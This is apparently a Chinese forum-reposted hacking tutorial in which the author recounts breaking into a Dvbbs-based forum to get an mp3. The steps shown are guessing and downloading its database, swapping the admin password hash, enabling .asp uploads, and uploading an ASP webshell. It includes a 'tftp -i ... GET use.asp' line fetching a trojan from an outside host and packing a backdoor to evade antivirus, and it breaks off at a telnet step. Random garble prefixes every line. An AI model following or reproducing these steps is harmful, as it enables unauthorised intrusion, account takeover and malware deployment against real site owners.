|
编者:文章题目很简单.内容却比题目有趣多了,建议各位看看
3 V$ N+ v$ z- [8 T* z作者:ALLEN QQ:515659
9 q: y; o4 f6 J$ l( e( R% \9 I) ^今天心情不好,写一篇文章玩玩吧,利用网站的配置错误配合serv-u取得管理员权限,简单一点就是通过asp木马配合serv-u取得管理员权限,哈哈哈,是不是很cool阿!
2 n6 H% {% `3 ?+ a# a( Q------------文章开始------------
7 @! `( {3 W! I: C3 S' X4 n0 z$ \' i为了找仓木麻衣的mp3(这个小姑娘的歌很好听阿),把半个互联网都搜完了(太夸张了把),就是找不到,苦然眼镜一亮,哈哈哈×××论坛,看来人气不错,也有mp3的下载地址,那就去看看吧 6 Y% S' m+ C6 f& R3 a: K
晕~~~~, ( l# }6 t" A( c' `% ~) x/ v4 ]' P
论坛错误信息
: _5 T {/ ?% v7 k# I2 S产生错误的可能原因: , H! c' ^; _4 d+ y e+ `
您是否仔细阅读了帮助文件,可能您还没有登陆或者不具有使用当前功能的权限。 $ X9 A- h* f4 ]& C1 k& F
还要注册阿,可是论坛由于种种原因又不让注册
' r. W4 n8 f/ \) B. ~3 h气的我差点吐血! - I- A( ~4 n# H: h
怎么办阿???唉,本想用溯雪破解几个密码。可是我们这个落后的地方上网贵,速度慢,有那个钱早就可以去买几张d版cd了,算了吧,想想别的办法把,打开我的xscan,随便扫了一下,服务器挺安全阿,只开了21,80,3389端口 ( ?$ y' Y' Z3 K- v
看来做了端口过滤
) } N/ h& e+ a! B$ S3 v* X# M' p没什么可利用的漏洞怎么办,不要着急,他用的是动网论坛,先试着下载他的数据库试试吧 . s4 P" o2 B) Z" L3 Z
手动的找了一些,都不行
7 b. G, {6 i0 w4 e+ ?: v我先猜一下数据库在哪个目录里面,如果猜对的话下载数据库的成功率就比较高了 % ?" W4 E, h; k% ~
_blank>http://aaa.com/data 8 N/ ~+ e. i) D F
_blank>http://aaa.com/database
* A" W0 _* N, ^" {2 J7 F' |- I_blank>http://aaa.com/db 7 [( X6 q7 c# h7 ~2 K+ B: `
HTTP 错误 404 - 找不到文件 + F9 l" ?& N" @9 T$ D9 a& e' E+ b @
Internet 信息服务 3 l) A" l4 r% l5 ?( X
继续 7 D3 P4 T( M. N, N( C; _" i5 a4 l
_blank>http://aaa.com/mdb ' w. ~1 E+ l# @: o
HTTP 错误 403 - 禁止访问
+ G( C$ J2 ~; l; Q! s, GInternet Explorer
4 c# p7 X( f9 v: T5 g; ]/ u7 B7 k出现403错误就说明对方有这个目录,但是不允许浏览目录 9 @& G N1 p, i
想想看mdb这个目录会是干什么的??哈哈十有八九十存放数据库的目录! ' V$ w# w% R' `6 H. j* `5 C
把我以前些的添加的数据库地址文件载入xscan(专门下载数据库的地址),然后只扫描cgi漏洞 * w2 w2 o# o) T9 `. |
scaning.......,大概10分钟过去了 & _) Y- Z* O9 s; l/ ?
扫描结果 5 H5 V+ h3 y+ t# N! F
/mdb/lovemaik.asa [漏洞描述] 3 q7 d l& m8 a6 @& D) K
哈哈哈,成功的扫到了数据库,顺便告诉大家一个技巧, ! k6 \0 \/ X) r' l
把一些常用的数据库地址如data.mdb,database.asp等等添加到xscan的cgi数据库中,或者单独作一个数据库,你可以用一些字典来生成数据库地址,这样的成功率很高的! , W! y" |& ~8 L, C" c6 A ^
xscan有一个好处就是可以直接扫域名,比如_blank>http://www.seeie.com . O# o0 k0 j. p$ I4 T
这样的话xscan就会帮你猜数据库地址 1 R* n3 G( ?! q7 l
_blank>http://www.seeie.com/mdb/data.asp
$ G6 ^' ?% O9 w1 l_blank>http://www.seeie.com/mdb/db.mdb . @- y1 T6 | ^
....... 3 J0 F# \ H" P/ S/ A' ]
好了,现在打开Net Transport(一种很爽的下载工具)把数据库down过来,用了50多分钟,终于下载完了 8 W0 Z- p7 M, Q0 A
在自己的机器上安装jmail和动网论坛,把下载的数据库覆盖新数据库并且把数据库扩展名改为.mdb,接着注册用户:allen,密码:123456
7 l9 m. n7 R+ _$ O* s" ~/ u现在打开数据库,查看到我们刚才注册的用户allen的密码为49ba59abbe56e057(由于论坛使用md5不可逆算法加密,所以不能得到明文密码)
& H- n+ R! r4 I, u4 B好的把这一串数据复制一下,然后找到管理员的名字,也就是查找userclass表中数据为管理员的名字,把他的密码改成49ba59abbe56e057,记住在改密码之前一定要把他的密码(经过MD5加密过的)复制到一个记事本里,好了,我们用管理员的名字登陆,密码就是123456,接着我们就去修改管理员的资料,把回答问题和答案改掉!把email换成自己的,接着把刚才注册的用户allen提升为管理员,退出,在用allen帐号登陆,把原来的管理员降成普通用户,可能有些人会问这样做是为什么,原因是动网论坛不允许通过email取回管理员的密码,接着在打开数据库把原来管理员的密码给恢复了,在打开论坛,忘记密码-回答问题-取回密码,哈哈哈,快打开你的信箱把,密码已经发到你信箱了(注意,你的系统最好装jmail等邮件发送组件,要不然就会发不了邮件的)
' h; `" U I% } C现在我们拿到了论坛管理员的密码了, 5 Z# G$ Z- s8 m6 \. ^
注意:以上步骤都是在本地操作的,其目的就是为了拿到论坛管理员密码! # m' E( i* A+ [9 r
现在登陆那个论坛-进入管理页面-论坛版面管理 -随便选一个讨论区-在上传文件类型中加上.asp,呵呵
3 |$ W/ L4 A) h5 L好了,进去这个讨论区发表帖子-上传文件,呵呵,把asp木马传上去
" p7 f" C1 X& l5 ?: j: @好了,可是这个文件被重命名了,唉,新亏手里还有一个免fso的木马,只有一个文件。传上去 & B5 [1 a. L5 R! F1 B c1 U* P2 E
可惜这个木马不好用,还是自己的木马用着顺手,于是tftp -i ***.***.***.*** GET use.asp * y% s# }' j$ A# G
好了,成功了,接这运行木马***.com/bbs/use.asp?id=1
0 ~! I: z @) i" _; V( l7 o呵呵,服务器的东西清清楚楚的摆在我们面前了,上传一个winshell把 6 f# Q$ s5 E, ^% l# T
靠,服务器有病毒防火墙,看看是nav的,算了,自己加个壳吧,这样可以逃过防火墙! . `2 M% b" m" V7 l( L4 M- Y
继续,传上去并执行。。。。没反应! ; V" [0 g8 T& q @. {$ X
先telnet ip 8210(我喜欢用noika手机的型号做为端口,) |